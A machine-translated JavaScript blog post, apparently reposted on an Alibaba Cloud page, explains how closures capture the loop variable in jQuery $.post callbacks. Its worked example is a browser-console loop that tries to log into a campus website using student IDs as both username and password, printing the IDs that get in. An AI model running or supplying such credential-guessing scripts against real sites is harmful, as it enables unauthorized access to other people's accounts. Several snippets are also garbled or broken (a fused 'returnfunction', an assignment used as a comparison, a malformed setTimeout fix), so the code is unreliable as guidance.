[JS] using closures to pass parameters to the post callback function

Source: Internet
Author: User

Recently wandering around the campus XX station, plan to make a damage, try to how many people still use the initial password landing. More lazy, so open the console directly to write.

So the problem can be described as:


      Back end of the continuous post data, id from 1~5000, the backend will return the value of res according to the situation, need to put res=100 ID output.
  


The simplest idea is that the for loop internally calls the post data
    

// Error Demonstration One  for (var i = 92000;i<92500;i++) {    // borrow directly from the JQ    $.post ("login.php") referenced in the site, { TS: "Login", Username:i, password:i},function(data) {        if(data== ") {            Console.log (i);}}    );

However, the result of the operation is this:

  

I saw the output come to a sudden reaction: function queue. JS is a single-threaded, execution function when the function is not finished, the execution of other functions will enter the waiting state, so all console.log () can only wait for the for loop to execute, then I have been convenient to the last, I am sure each output is 201292500.

This is very similar to a classic pen test:
  

 for (var i = 0;i<10;i++) {    setTimeout(function() {        console.log (i);    }, );} // the output is 10 x

  

  Workaround: Use closures

  

// implementation using closures and return functions  for (var i=92000;i<92500;i++) {    $.post ("Index.php?action=login", {ts: "login", USERNAME:I, password:i,chekcode:9895}, (function(i) {            returnfunction(data) {                 if (data = "") {                    console.log (i)}}}        ) (i);    );}

Operation Result:

  

Related explanations:

By writing the callback as an anonymous function closure, the I variable is saved and the function is called immediately, but in order to obtain the returned data, the return function (data) in the closure is used as the real callback function to accept the return parameter Res-data

When the For loop is executed, Console.log () first gets the value of the normal return data, because the scope of the function access parameter in JS is not the current scope, but the scope of the function declaration environment, so you can directly access to each res=100 corresponding to the loop variable i.

So one of the solutions to the above interview problem is:

  

 for (var i = 0;i<10;i++) {    setTimeout(function(i) {        console.log (i);    }) (i),+);}

  

Some understanding of the function:

1. Functions can be passed in as parameters and participate in the operation.

2. Functions can hold the state of internal data, and it is common to implement private members of a class through the constructor's internal var variable

3. Haven't figured out how to say it.

[JS] using closures to pass parameters to the post callback function

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.